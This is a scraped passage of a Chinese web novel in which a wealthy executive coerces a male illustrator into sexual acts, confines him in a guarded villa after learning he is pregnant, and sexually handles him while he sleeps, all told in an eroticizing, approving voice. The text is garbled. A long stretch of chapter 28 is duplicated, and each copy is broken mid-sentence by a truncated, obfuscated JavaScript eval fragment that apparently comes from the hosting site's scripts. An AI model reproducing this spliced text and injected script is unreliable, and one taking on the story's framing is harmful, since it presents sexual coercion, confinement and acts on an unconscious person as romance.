王全国严肃起来,“这个真没有,大数据统计出来的,温真的票就是比你的多。这个奖就是该他拿。” “好了,好了,你别无理取闹了,你都得这么多年,该让位给年轻人了。” “让位给年轻人?”艾玛怒视着他,“你的意思是我年纪大了是吗?” 王全国擦汗,“当然没有。” *** “宁宁,你放学了吗?” “爸爸打电话是想告诉你,爸爸得奖了。” 石美青带着阿美和珍珍去外面逛街了,男人开会还没有结束。 温真一个人站在走廊的阳台给自己的女儿打电话。 “得奖?”付钰宁高兴的声音在电话那头传来,“真的吗?爸爸,你好棒!” “叔叔,你真厉害!”秦宝章也在电话那头喊道。 温真的耳朵不好意思地红起来,又嘱咐女儿在学校要好好吃饭后才挂掉电话。 她刚挂掉电话林云又给他发短信。 -我听阿美说你得奖了,恭喜啊。 -这么大的好事,请我吃个饭不为过吧。 温真为难起来,那天他答应了男人不会再和林云接触了……可是林云是诚心祝福他……如果拒绝的话…… 正在为难的时候,身后响起脚步声。 “在和家人报喜?” 温真回过头,然后看见艾玛。 “嗯……” “得奖很开心吧。” “我第一次获奖的时候和你一样,那时候还出了了一点事故。” “和我一同竞争的是一个能力远不及的我的人,但因为是资方的情人,所以这个本来是我的奖便颁给 了对方。” “如果不是后来我抓到他们的把柄,这个奖就成别人的了。” 温真抿唇,“为什么要和我说这些?” “没什么,就是听王主席说,颁奖典礼开始之前,秦总去找过他……也许这个自诩公平公正的作者大会,也没有那么公平公正。” 温真忽然想起来。 赵程问他有没有准备感谢词。 他那个时候就已经知道获奖的人是他了吗? 颁奖典礼没开始,主办方不会向任何人透露得奖者的消息。 为什么他会知道? 他得奖原来不是自己的能力和努力,而是因为男人在背后…… 想到石美青赞赏的目光, 阿美和珍珍替她高兴的神情, 还有女儿为他骄傲的声音…… 温真轻轻颤抖…… 为什么要这样做…… 为什么要把他的自尊踩到脚底…… 天色一点一点暗下去,墙上的钟表指向九点钟,坐在床上的青年才动了一下。 他脸色苍白地换上男人要他穿的衣服,是一件衬衣和西装裤,尺码很小,穿上后像是被束缚着一样紧紧绷在身上,一低头便能看到胸前起伏的弧度…… 这种样子让青年难堪地咬唇,连在镜子里看自己的勇气都没有,垂头出了自己的房间,然后乘坐电梯去往顶层。 像是等他很久了,温真刚一敲门,门立即被打开,他便被男人拦腰抱了进去。 双脚悬空,臀瓣被男人抓在掌心里,手指那么硬,狠狠往他软绵绵的肉里硌,然后就抓住那里的肉把他托抱起来。 温真难堪地挣扎,“别,别这样……” 男人不紧不放,反而掰开他的大退,强迫着他双腿环住他的腰身,随着男人的走动摩擦,庞然大物很快伸展开滚烫的抵着退间…… 温真整个人抖成筛子…… 男人把他抱到阳台那里,让他脊背贴在玻璃上,然后很用力挤着温真,男人身躯高大又凶猛,挤得温真几乎成扁的了。 胸口圆润的弧度和鼓出小包的肚子都蹭在男人的身体上。 后面两瓣肉也被压得扁扁的。 温真快要呼吸不上来了,脸难堪地红起来…… 男人垂眼,一寸一寸地凝视着温真。 视线仿佛是烧灼的。 温真轻轻颤抖起来…… 凝视的目光很快落在他的胸口…… 温真颤抖地更加厉害了, 被紧绷的衣服勒出那么饱满的弧度…… 贴着男人…… 男人滚动喉结,捏他的下巴,“真的是男人?” 这样羞辱的问题让温真难堪极了。 男人放开他,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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硕大的头隔着西装布料碾在上面…… “……明天早上的飞机……”温真又羞又怕。 男人笑,“你自己不是也有反应了吗?” 温真羞耻起来。 男人仿佛在说,你自己也很喜欢这样被舔吧。 “裤子脱掉。” 裤子脱掉…… 想到昨天在洗手间的样子,温真濡湿的睫毛开始颤动。 他垂下眼,像是要哭了一样。 “别再羞辱我了。” 为什么要把不属于他奖项给他? 这是自己除了他女儿他最在乎的事情了。 想到艾玛告诉他时那种鄙夷的目光。 还有他的朋友和女儿对他真心的道喜……如果被他们知道这个奖项本该是别人的,而自己因为男人的权利抢夺了别人的资格,他们该怎么想? 为什么要把他的自尊踩在脚下呢? 28.第 28 章 石美青看着温真,那是一种赞赏的目光,“拿奖的感觉怎么样?” 她对温真欣赏和优待和那个男人一点关系都没有,她是单纯觉得温真是个很有能力同时又很努力的人,这样的人值得一些荣誉。 “有点像做梦。”温真现在还觉得灵魂有点飘荡。 石美青笑。 “温工,你太厉害了。刚开始听到得奖的人是你,我还有点不可置信,可很快又想,这个奖就应该是你的啊,你画得那么厉害,又那么努力,不给你给谁?”珍珍用钦佩的目光看着温真。 从她进入公司后,除了周五要接女儿下班,她都没有见过温真六点下班后,尤其是接了《幽境》这个本子,有一段时间温真的情绪异常压抑,他经常要画很多次,即使她们都觉得很满意了,温真还是要修改…… 阿美则是非常开心,“《幽境》现在订阅已经超过十万了,等彻底完结后,应该能超过二十万……” “太好了!” “温工,你要请客了。”石美青笑道。 “嗯,请客……”温真也跟着笑。 “那我就不客气了,等我们明天回泾市,我要找一个最贵的餐厅,大吃一顿……” “温工,你不会心疼吧?” “不会,不会的……”温真眼睛弯起来。 *** “王全国!”办公室里,艾玛一把扫掉桌子上的东西,文件杯子哗啦啦散了一地。 “你是怎么和我保证的?!” “你先消消气,我本来就是打算把奖给你的,可是,可是……”王全国低声下气。 “可是什么?” “你知道刚才颁奖你前面坐的男人是谁吗?” 艾玛冷眼看他。 当然知道,他也生活在泾市,怎么可能不知道秦氏集团,又怎么可能不知道男人的身份。 “他来找过我。” “你知道他和今天得奖的温真是什么关系吗?” “什么关系?”艾玛问。 “我看见温真去了他房间,你说是什么关系?” “举办的场地是秦妄的,赞助也是秦妄的,他来找我,你说我还敢吗?” “而且这奖本来就是人家的……” “本来就是? ”艾玛冷笑一声,“谁知道秦妄有没有背后做什么手脚。” 王全国严肃起来,“这个真没有,大数据统计出来的,温真的票就是比你的多。这个奖就是该他拿。” “好了,好了,你别无理取闹了,你都得这么多年,该让位给年轻人了。” “让位给年轻人?”艾玛怒视着他,“你的意思是我年纪大了是吗?” 王全国擦汗,“当然没有。” *** “宁宁,你放学了吗?” “爸爸打电话是想告诉你,爸爸得奖了。” 石美青带着阿美和珍珍去外面逛街了,男人开会还没有结束。 温真一个人站在走廊的阳台给自己的女儿打电话。 “得奖?”付钰宁高兴的声音在电话那头传来,“真的吗?爸爸,你好棒!” “叔叔,你真厉害!”秦宝章也在电话那头喊道。 温真的耳朵不好意思地红起来,又嘱咐女儿在学校要好好吃饭后才挂掉电话。 她刚挂掉电话林云又给他发短信。 -我听阿美说你得奖了,恭喜啊。 -这么大的好事,请我吃个饭不为过吧。 温真为难起来,那天他答应了男人不会再和林云接触了……可是林云是诚心祝福他……如果拒绝的话…… 正在为难的时候,身后响起脚步声。 “在和家人报喜?” 温真回过头,然后看见艾玛。 “嗯……” “得奖很开心吧。” “我第一次获奖的时候和你一样,那时候还出了了一点事故。” “和我一同竞争的是一个能力远不及的我的人,但因为是资方的情人,所以这个本来是我的奖便颁给 了对方。” “如果不是后来我抓到他们的把柄,这个奖就成别人的了。” 温真抿唇,“为什么要和我说这些?” “没什么,就是听王主席说,颁奖典礼开始之前,秦总去找过他……也许这个自诩公平公正的作者大会,也没有那么公平公正。” 温真忽然想起来。 赵程问他有没有准备感谢词。 他那个时候就已经知道获奖的人是他了吗? 颁奖典礼没开始,主办方不会向任何人透露得奖者的消息。 为什么他会知道? 他得奖原来不是自己的能力和努力,而是因为男人在背后…… 想到石美青赞赏的目光, 阿美和珍珍替她高兴的神情, 还有女儿为他骄傲的声音…… 温真轻轻颤抖…… 为什么要这样做…… 为什么要把他的自尊踩到脚底…… 天色一点一点暗下去,墙上的钟表指向九点钟,坐在床上的青年才动了一下。 他脸色苍白地换上男人要他穿的衣服,是一件衬衣和西装裤,尺码很小,穿上后像是被束缚着一样紧紧绷在身上,一低头便能看到胸前起伏的弧度…… 这种样子让青年难堪地咬唇,连在镜子里看自己的勇气都没有,垂头出了自己的房间,然后乘坐电梯去往顶层。 像是等他很久了,温真刚一敲门,门立即被打开,他便被男人拦腰抱了进去。 双脚悬空,臀瓣被男人抓在掌心里,手指那么硬,狠狠往他软绵绵的肉里硌,然后就抓住那里把他托抱起来。 温真难堪地挣扎,“别,别这样……” 男人不紧不放,反而分开他的退,强迫他环住他,随着男人的走动,庞大的很快伸展开抵着…… 温真抖成筛子…… 男人把他抱到阳台那里,让他脊背贴在玻璃上,然后很用力挤着温真,男人身躯高大又凶猛,挤得温真几乎成扁的了。 圆润的弧度和鼓出小包的肚子都贴在男人的身体上。 两瓣肉也被压得扁扁的。 温真快要呼吸不上来了,脸难堪地红起来…… 男人垂眼,一寸一寸地凝视着温真。 视线仿佛是烧灼的。 温真轻轻颤抖起来…… 凝视的目光很快落在那里…… 温真颤抖地更加厉害了, 被紧绷的衣服勒出那么包满的弧度…… 贴着男人…… 男人滚动喉结,捏他的下巴,“真的是男人?” 这样羞辱的问题让温真难堪极了。 男人放开他,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……明天早上的飞机……”温真又羞又怕。 “你自己不是也有反应?” 温真羞耻起来。 男人仿佛在说,你自己也很喜欢这样被舔吧。 “裤子脱掉。” 裤子脱掉…… 想到昨天在洗手间的样子,温真濡湿的睫毛开始颤动。 他垂下眼,像是要哭了一样。 “别再羞辱我了。” 为什么要把不属于他奖项给他? 这是自己除了他女儿他最在乎的事情了。 想到艾玛告诉他时那种鄙夷的目光。 还有他的朋友和女儿对他真心的道喜……如果被他们知道这个奖项本该是别人的,而自己因为男人的权利抢夺了别人的资格,他们该怎么想? 为什么要把他的自尊踩在脚下呢? 30-40 31 ? 第 31 章 ◎“……被他舔发烧了?”◎ 泾市第一人民医院, 赵程敲响病房的门。 听到里面的人沉声说进,他才走进去。 是医院的高级病房, 宽阔的大平层,走过客厅、会客室、厨房、才是病人休息的房间,房间有一面墙壁那么大的落地窗,木质的地板金灿灿的。 病床上的青年黑发柔顺地垂着,脸庞略微苍白,眼睛闭着, 长长的睫毛投下阴影,细白的手背上扎着留置针。 一旁的沙发上,秦妄一动一动地盯着温真…… 他脑袋受了伤, 头发剃短, 露出发青的头皮,太阳穴上面包着一块纱布。 本来就不是什么斯文友善型的长相, 头发剃短后更显得眼窝深陷, 面容阴鸷。 整个人都凌厉骇人许多。 “秦总, 赵医生说检查结果出来了。” 男人起身,也许是因为头发剃短的缘故,人显得更加高大了,他单穿了一件衬衣,一边往外走一边扣上面的两颗扣子, 扣好后胸腹紧绷, 显出健硕的轮廓。 赵主任四十多岁了,戴一副眼镜,似乎是遇到了当医生这么多年不可思议的病情, 没一会儿推一下眼镜。 “温先生……”赵主任顿一下, “他怀孕了……” 男人眸色又黑又沉, 沉默半晌,哑声问: “……几个月?” “三个月了……”赵主任把B超给他看,“胎儿已经成型了,这是胎儿的头部,这是四肢,目前从B超上来看,胎儿很健康,没有畸形……” “真是不可思议……”赵主任又推了推眼镜。 他倒是也看到了一些雌雄合体的男人怀孕,不过大多是畸形的,他第一次见到这么健康的孩子,最后只能归咎于和病人□□的男人的精子应当是非常优质健康的,而病人的子宫又对这些精子的吸收率非常完全,所以才能成功地孕育。 回病房的这一段路,赵程小心地看着男人的脸色。 这次发现实在属于意外。 把人从山上带下来后,医生对温真做了检查,发现他除了体力不支,并没有什么大碍,是男人要求医生对温真做一个全面检查。 尤其是腹部…… 然后便发现了怀孕的事情。 男人怀孕…… 饶是赵程跟了秦妄这么多年,也有点摸不准他的想法…… 今年才24岁的男人,却有着和他年龄不符的沉稳和魄力,不然秦富威也不会绕过大儿子和二儿子把秦氏集团交给他,秦氏集团也不会在他手里壮大,也许是因为太早接手家族企业,秦妄身边没有过男人和女人。 说直白点就是个在生意场生杀予夺的处男。 按照赵程见过的大多数企业家的人生,他到了一定年纪便会找个门当户对的女人结婚,有没有爱不重要,重要的是只要这场婚姻能带来利益便行了。 可是出现了温真这个意外…… 以赵程对男人的了解,他对温真肯定是动了感情,不过这感情有多深,足不足以让他抵抗住秦老爷子的压力留住这个孩子赵程就不知道了。 不过,赵程想起温真每次面对秦妄的样子,觉得温真不想要这个孩子的可能性更大一点。 男人进入病房,赵程也跟着要进去,结果被男人嘭地一声关在了门外。 赵程:“……” *** 秦妄走到床边,人还没醒,安静地躺在那里。 输的营养液滴完了,护士来拔针。 “赵主任说,病人身体没什么大问题了,等醒来就可以出院了。” “还有记得以后定期到医院做产检。” 护士离开后,他坐在床侧,将温真细碎的头发拨到两侧,露出他紧闭的眼皮。 三个月,也就是在酒店的那一晚上,当时便想,长了那种东西,肯定会怀孕吧?结果真怀了,除了高兴外,秦妄还非常的后怕,幸亏他打不通他电话第一时间赶过去,不然……想到他在山上找到温真时温真虚弱的样子,……他心脏发紧…… “以后把你关起来好了。”秦妄痴迷地蹭着他的脸。 明明才认识三个月……便恨不得把他时时刻刻带着身边,像是变成一个怪物,想把他一整个囫囵地都含在嘴里…… 他指腹摩挲着眼皮,长长的睫毛很快在这样的摩挲下颤动起来。 秦妄将他整个眼眶裹在嘴里。 嘬吮着…… 像是口欲期没有得到满足,嘬吮的欲望一直延续到成年,终于找到了喜爱的想要含在嘴里的东西那样狂热的吸吮着…… 舌面整个贴在眼皮上,一下一下地刮蹭,把眼皮嘬起来,舌尖去轻轻碰温真藏在眼皮底下的眼珠…… 眼珠要脱离眼眶那样的力道被嘬吮着。 滚烫的舌面贴在上面,随着温真转动眼球而转动。 脆弱的晶体磨在舌面的颗粒上,又热又麻,被裹了一层涎水,温真被刺激分泌出泪水,很快被男人吸走…… 温真惊醒了…… 温真醒来发现自己在一个陌生的房间里。 整个房间的色调都很幽暗死寂,如果不是落地窗开着,透进来阳光,温真会以为自己在洞穴里…… 是男人把他抱下了山,他应该在医院里或是自己家里,为什么会在这里,鼻子翕动着,很快闻到了房间里若有若无的幽冷的檀香味,和男人身上的一模一样…… 而那张矮桌上有一套茶具,杯子倒扣着,只有一个杯子正放,似乎有人刚刚使用过…… 温真不安地颤抖起来,他下床,又发现自己的衣服换成了宽松的家居服…… 而身体像是过敏了一样烧灼地发痒,腰背也又酸又胀…… 他去卧室里的洗手间,解开衣服一看,胸口那里红了一片,还有嘬咬出来的痕迹……就连腿间也是红的…… 温真脸一会儿红一会儿白,随便在衣柜找了一套衣服换上后打开门出去。 原来是一个二层别墅,他下楼到客厅。 中年妇女在厨房里忙活,看见他时很恭敬地鞠躬,“先生,你醒了。饭菜马上就好了。” “不用了,我要去上班。”也许是因为身体还没有恢复好,温真双腿有些发软…… “上班?秦先生特地吩咐过,不能让您出去。” 果真是男人的住处……温真轻轻颤抖……为什么要把他带到这里…… “他……去什么地方了?”温真轻轻问。 “是他父亲给他打来的电话,应该是发生了什么紧急的事情,让他回家一趟。” “谢谢……”身体还有些虚弱的青年忍着皮肤的灼痒往外走,妇人在后面追赶他,“温先生,温先生,秦先生特地吩咐过不让你出去……” 温真颤抖地摇头,他不知道为什么男人忽然要把他关在这里…… 自己的工作还没有完成,还要去接女儿放学…… 走出客厅是一个偌大的庭院,温真无心欣赏,很快来到铁格栅的大门前。 大门前站着两个健壮的男人,恭敬客气地对温真道:“对不起先生。” “没有秦总的允许谁也不能进出。” 与此同时的秦家。 秦富威又气又心疼地看着秦妄,头发剃那么短,太阳穴上面还带着纱布。 本人却浑不在意似的,目光阴鸷,“我很忙,没功夫陪你们胡闹。” 秦夫人在一旁劝说,“爸是想你,才装病让你回来的。” 秦富威听他这样的话更气了,“你忙!你忙你把自己伤成这样!” 秦妄一言不发,转身要走。 秦富威见状,捂着自己的心口,“不行了,我感觉自己没几天活了。” 秦妄止住脚步,沉声,“有事说事,少来这一套。” 秦富威不说话了,捂着自己的心口喘。 秦夫人在一旁打圆场,“是这样的,小妄,赵叔叔你还记得吧?” 秦妄挑眉。 “他女儿前几回国了,和他爸爸一起来家里做客,你们小时候不是一起玩过吗?那时候她跟个假小子似的,现在长大了,人漂亮许多,一身的书卷气……” “爸爸很喜欢她,所以想让你们两个见一见。” “你们年龄相仿,也许……”秦夫人斟酌地说道。 她还记得,前几天他在海外,忽然就赶回来了,家门都没进就去了岛城,当时她还以为他有什么紧急的事情,后来听秦宝章说宁宁的爸爸也在岛城!他和宁宁爸爸的事情她也不敢问,不知道两人现在是怎么个关系。 她觉得对方毕竟是个男的,秦妄应当就是新鲜一阵子,等时间一长还是要回归到正路上的。可又觉得,秦妄这个疯劲又像是动真格的。 秦国富心口不疼了,又中气十足道:“早点结婚,早点让我抱孙子!” 秦妄意味不明地冷笑一声。 “想抱孙子?” “对!” 秦夫人看他那个笑,配上他发青的头皮,莫名觉得有点瘆人。 *** 客厅也有一面大的落地窗,可因为外面郁郁葱葱的树木,将阳光全部遮挡住了,温真安静地坐在客厅的沙发上,脸有些苍白,呼吸微弱。 妇人走过来,“先生,吃点东西吧。” 温真轻轻地摇头。 妇人还是端上来了,炖的海参和鱼肉,旁边还放着一片白色的药丸。 温真盯着那片白色的药丸。 “秦先生吩咐的,让你随餐吃。” 他生什么病了吗? 还没有开始供暖,温真穿着单薄的家居服,很快觉得冷……眼皮发沉,手脚没有力气……他实在坐不住了,便蜷缩在沙发上,原本是想闭着眼睛歇一会儿,没想到很快没有了意识。 妇人找了一个毯子给他盖上。 门外响起车声,妇人往外看,穿着西装三件套的男人脸色紧绷的走进来,妇人赶紧迎上去。 “温先生等一上午,现在睡着了。” 秦妄径直走到沙发上,连人带毛毯抱起来到二楼的房间里。 那颗扎人的仙人球又来了,拱蹭着温真嘬含他,温真轻轻地蹙眉,痛苦地睁开眼睛。 发青的脑袋埋着,温真难堪颤抖 ,想推开他,结果柔嫩的掌心被又粗又硬的发茬扎得发软…… 头发剃短后,头皮异常敏感,被温真柔嫩的手一摸,秦妄头皮像过电了一样发麻。 好像和梦中的一样,温真难堪极了,又被他这样弄得一阵一阵发软。 “别这样……”温真挣动着。 秦妄听见他醒了,往上躺了躺,和他脸对着脸。 衣扣还解开着,湿漉漉,又热又疼,想到睡着的时候被那样,温真难堪极了,睫毛轻轻颤抖着,脸庞也微微泛红。 本来想问他为什么要关自己,又忽然发觉他头发剃得那么短,头皮都露出来了,太阳穴上面一点还包着纱布。 温真意识到滴在脸上的真的是血,不是他的幻觉……温真肩膀轻轻地颤抖,当时在山上温真想了很多种自己被救的可能性…… 也许是阿美和珍珍来救他, 也许是消防员…… 也许是过路的村民或是上山来玩的游客…… 可他唯独没有想过会是他…… 有一段时间他只是睁不开眼睛,其实是有意识的。 他被树枝砸下来的声音吓到了,身体往前倾,然后被人接住。 他听见嘭地一声,应该是很重地砸在了地上,可他一点疼痛也没有感觉…… 那个时候应该是他护着自己…… 伤也许就是那个时候受的…… “谢谢……”温真轻声。 他想摸一摸伤口,伸出去后又愧疚地收回。 秦妄支着头,忽然握住他的手腕,然后让他把手放在自己头顶。 头发是贴着头皮剃的,短短的一层发茬,又密集又粗硬,温真的掌心贴在上面,很快被扎得战栗起来,他忍着异样的感觉,指腹抚摸着伤口上面的纱布…… 他不敢太用力,很轻地触碰,即使这样还怕弄疼他,想要收回手,可是男人并不肯放开他的手腕,一边盯着他,一边让他的手继续抚摸他的头皮…… 温真害怕弄疼他的伤口,不敢挣动,不敢用力,很轻地在他头皮上摩挲。 发茬太硬了,手心像是被毛刷子来回地扫着,痒意顺着掌心流向四肢百骸,腹部也微微痉挛起来,涌起异样的感觉…… 温真不想摸了…… 手试探性地往回缩,又被男人拽回,让他的手心从额头一直到后脑勺,再从后脑勺到额头,来回的摩挲…… 手心都被扎得发麻了…… 被这样摩挲着,秦妄感觉头皮不存在了。 是那只手直接伸进他脑子里爱抚着,脑子里的沟壑都被他来回地抚慰,爽得他张嘴咬住温真的脖子…… “……别这样……”温真脖子扭动着……他不知道男人怎么了,为什么忽然咬他的脖子…… 腹部那里…… 像在火里炼了很久,又热又烫……家居服都要烫化了,软绵绵的肚子痉挛着…… 是因为摸他的头皮才会这样的吗……温真惊怕极了……为什么摸他头皮也会…… 秦妄的脸在温真的脸上方,他眼睛略微猩红地盯着温真,“张嘴。” 男人呼吸很重,肌肉弩张着。 并不是正常的状态…… 温真惊惧地摇头…… 男人一寸一寸凝视着他。 静默片刻后,直接啃咬住温真的唇瓣。 他小时候牙齿长出来很早,也许是因为这样,他很喜欢咬东西,咬破过他妈妈的手腕和爸爸的鼻子,以及无数个保姆的耳朵。 那时候他爸爸恨不得要给他戴上嘴笼……他妈妈不允许,只能找人严加看管,欲望便一直压抑到长大,现在…… 他眼睛又黑又沉,张开嘴巴,直接把温真整个唇部裹在嘴里,咬弄啃噬着,然而这样还不够,轻而易黑举地顶开温真的齿关,热滚滚的舌强势地侵入温真口腔里,在里面扫荡吮磨。 他狠狠挤压着温真饱润的唇瓣,继续往里面深入,到了喉管那里后还要继续往下。 而防止异物入侵的咽反射让温真痛苦地缩绞男人的舌头…… 温真脸潮红……身体因为窒息带来的濒死感一阵一阵哆嗦,脑子都战栗起来…… 口腔仿佛成了男人专用的抚慰品…… 没办法呼吸了…… 快昏厥过去时,男人猛地从他嘴里出来,唇瓣以及周围都是红的,口腔湿漉漉往外淌口水,从张开的缝隙里可以看见里面的糜烂狼藉的状态…… 秦妄又开始啃咬他的眼眶,又啃又吸。 恨不得把他的眼睛嘬出来含在嘴里好好舔一番…… “别咬了……”温真难堪地扭脸…… 眼皮被男人嘬拉起来,舌尖顶舔温真的眼珠。 温真连闭眼都没办法闭上,只能任由自己的眼球被他的舌头拨弄着,眼球周围密集的血管都胀热,要烧坏了一样。 温真知道一些男性会有奇怪的癖好……可从来没见过摸头皮和吸吮眼睛这样诡异的癖好……只是这样失神之际,整个眼眶又被男人裹吃住,牙齿啃在他眼皮上…… 眼睛也仿佛变成了男人专用的, 满足口欲的东西…… 下巴、耳垂、都被他磨牙似的啃弄…… 整张脸都成了男人的止欲器具一样…… 温真难堪地颤抖…… 直到把温真的眼睛吮得发红,下巴和脸颊都是牙印,男人才停下,温真松了一口气,可男人又忽然狠狠顶腰…… 捧着他的脸,抵着他的额头,眈眈地凝视他,“张开。” 紧紧并拢的,被迫分开……滚压着,像是被火烤着,几乎有了痛感…… 温真颤抖地睁大眼睛。 男人面无表情地笑一声,“自己张开,还是我来。” 温真惊慌地摇头。 男人捏住他的下巴,“不想让我来也行……自己喂到我嘴里,让我吃。” 秦妄饶有兴趣地盯着他,现在胎象不稳,他没打算做什么,故意吓唬他。 意识到男人说的是什么意思后,温真脸猛地涨红,又羞耻又难堪,恨不得要撞墙, “别这样……” …… 手指颤抖地攥着库腰,难堪地往下褪,雪白嫩肉完全露出来。 因为冰凉的空气而起了一层细小的疙瘩,被男人一动不动地凝视着,温真颤抖地更厉害了,忍着剧烈的羞耻继续往下,直到松松垮垮地挂在脚腕上。 男人拽下来,扔在地上…… 全部露出来…… 修长匀称,白玉一样光洁,这样暴露着,很快起了一层细小的颗粒,泛红的膝盖并在一起…… 不肯分开…… “怎么,要我帮你?” 剧烈的难堪羞耻涌上来,颤抖分开膝盖,然而这样还不够,强迫他自己用手分开……温真紧紧咬唇,像个……不知羞耻,绕过男性的,来到底下,然后…… 青天白日,窗户没有关,一股风吹进来…… 这种样子……被看到了…… 温真捂住潮红的脸…… 筋脉跳动,血液都在沸腾,男人呼吸很重。 温真攥紧床单,慢慢挪动。 粗硬的发茬蹭着他,又痒又痛,情不自禁地哆嗦起来。 继续往下挪动,夹住他整个脑袋。 脑袋像个大火球,热烘烘烤他。 温真难堪极了,接下来怎么也不肯了。 一股股幽香往自己鼻子里钻,只开过一次荤的男人怎么忍得了。 见温真不动了,他脑袋往前面一顶,整个头皮都压在他唇瓣上。 故意用自己头皮狠狠碾磨他的唇瓣…… 温真猛地咬住手背…… 被头皮蹭了…… 密密麻麻的发茬像小刺一样,来回扎着他,又像是被砂纸刮弄,又像是钢丝球摩擦,又痒又热,还有微微的刺痛。 温真脚趾头蜷缩起来…… “别,别这样……”温真恳求。 男人听不到他的话,像是疯掉了一样,用头皮又磨又撞,像是要把脑袋钻进去那样的力道…… “别,别……” 最后被男人头皮磨得胀麻,像是没有知觉了,脑袋离远一些了,温真以为终于被男人放过了,却忽然睁大眼睛…… 被舔了…… 接着温真猛地攥紧床单…… 舌头……也钻进去了…… …… 床单湿了一大片,阴鸷英俊的脸也都是水,顺着往下淌,他也不擦,故意让温真好好看看自己的脸上的东西。 温真脸高烧一样潮红,难堪地扭过脸,男人便强硬地捏过他的下巴,用自己的脸去蹭他的脸,然后一把抱起他去清洗…… 还要帮温真洗,温真惊慌摇头,然后被逼着对着他的脸洗…… 洗完后倒是没有再抱在温真出去,一个人在待在浴室里,过了很久才出来。 温真躺在床上,脸上难堪的红晕还没有下去,长长的睫毛颤动着…… “不许背对我。”男人在温真背后道。 温真慢慢转过身,垂着眼。 “看着我。” 温真颤抖地抬起眼皮。 男人的深邃的眼睛又黑又亮,直勾勾的盯着他。两人的距离近到男人可以在他瞳孔里看到自己的脸。 心不知道为什么忽然加快了,温真睫毛颤动。 “今天我想出去……门外的男人拦住了我……” “我没有和石美青请假,明天要回去上班了……”从男人回来一直被那样,现在才找机会说这件事情。温真轻轻开口。他这段时间都没有见林云,不知道男人为什么不许他出去。 “身体没恢复好,哪里也不许去。” 接下来大肚子的六个月里,别想迈出这里一步。想到温真自己一个人跑到山上,被困了那么久,而且是在怀了他孩子的情况下,他脸瞬间阴沉下去。 “我已经好了……”温真着急。 “是吗?”秦妄笑一声,“那刚才舔你两下就要晕过去?” 那种事情…… 温真难堪起来…… …… 专用舞室放着音乐,秦夫人穿着一身瑜伽服跟着老师的指导伸展身体。 结束后瑜伽老师夸赞道:“秦夫人,你真厉害,才练了这么短时间,动作就已经掌握地很标准了。” 秦夫人最爱听好听话,“我小时候就有老师说,我适合跳舞。” 正聊着她接到物业的电话,物业在那头告诉她,城北那栋别墅院子里的树倒了,要不要帮忙移除。 除了他们此刻住的宅子,秦舢和秦妄在泾市名下还有好几套房子,他们都忙,便全都由她来管理。 秦夫人请物业帮忙挪一下,道过谢后,忽然想起来有一段时间没交电费了,房子虽然不住人,但为了维护,秦夫人还是请人定期去打开电器,其中一套别墅,里面的庭院有一处人工池塘,要定期地换水。 电费和以前都差不多……除了秦妄在马场附近的那栋别墅…… 以前加上物业费杂七杂八加起来要三千块钱,这个月忽然用了五千块钱…… 秦夫人用APP查了一下,倒不是差这些钱,她只是想看看为什么电费会突然多了一些。 也就是这几天用的电量多了,主要是电费和水费…… 不是无缘无故地损耗,似乎是有人住进去了,秦妄很少回老宅,也几乎不去那里住,最常住的地方是马场…… 秦夫人觉得奇怪,换了衣服后,决定去房子里看看,让司机把她送到地方,首先看到两个人高马大的男人守在门外。 她问,“谁让你们站在这里的?” “秦先生。” “他现在在家?” “在家。” “让我进去。” “对不起,秦总吩咐过,没有他的命令谁也不能进出。” “我是他大嫂!” 保镖面无表情,“秦先生说,就算是他父亲来了也不行。” “这个浑小子!又在干什么!” 秦家一共有三个儿子,前两个儿子说不上多斯文吧,但至少体面礼貌。 可秦妄跟基因突变似了,小时候就阴晴不定,跟个狼崽子样,又爱咬人,又霸道蛮横,因为是家里最小的孩子,简直被宠得不成样子!她当年刚嫁到秦家,都不敢招惹他! 好端端的,忽然找两个保镖站在门外,秦夫人想到自己听有声小说里那些霸总囚禁小白花的情节…… 虽然是虚构的,但秦夫人觉得以秦妄疯劲,完全做得出来! 想到那天,秦妄反问秦富威那句,‘想抱孙子?’秦夫人莫名有些不好的预感。 *** 半夜,秦妄被烫醒了,他睁开眼睛,被他紧搂着的温真脸红得不正常。 细细密密的汗珠顺着鬓角往下淌,软绵绵的身体像个大火炉一样热,连带着他也汗湿了衣襟。 秦妄用额头碰他的额头,热滚滚的,他下颚绷紧,先给医生打了个电话,然后去楼下拿了温度计。 他没在这里常住,也没备药和检测工具,是家里的佣人从自己的行李里找来一个需要夹在腋窝的温度计。 秦妄解温真家居服的扣子,把他的胳膊抬高,露出白皙光洁的腋窝。 温真半睡半醒地睁开眼睛,脑子也像是成了浆糊似的,昏昏沉沉的,可还记得男人羞耻的癖好…… 难堪地捂住。 “别舔,别舔……” “……” 过了五分钟拿出来…… 39度…… 这么高的温度…… 是被他舔得太过分才烧的? 想到这里,秦妄恨不得抽自己一耳光,可又咬牙想,都送到嘴边了,谁能忍住不舔两口? 【📢作者有话说】 留评发红包^ ^ 32 ? 第 32 章 ◎真的要打掉吗?◎ 烧太高了, 人清醒一会儿便又睡着了。 蹙着眉,长长的睫毛垂落, 时不时启唇发出难受极了喘息。 生平第一次知道懊恼滋味的秦妄先用湿毛巾给温真擦身体…… 烧那么高,脸和身体都是红的,软绵绵的,让他抬胳膊就抬胳膊,让他抬腿就抬腿,任由他摆布。 秦妄没敢多看, 擦完便给他穿好衣服…… 医生来了,先让温真吃退烧药,要是明天早上烧没退, 就去住院。 秦妄喂他吃完药, 让人紧急送来一个电子体温枪,每隔一会儿对着温真的额头按一下, 温度一直没退, 他焦灼得厉害。 听说高烧要出汗, 一点没犹豫地把温真的衣服全脱了,肉贴肉抱在怀里,盖上被子,没一会儿两个人都出了一身的汗,汗津津的, 被子全湿了。 这样捂着, 温真的整张脸都烧红了,人也迷迷糊糊地醒了,发现自己没穿衣服还被男人搂住, 难堪极了…… 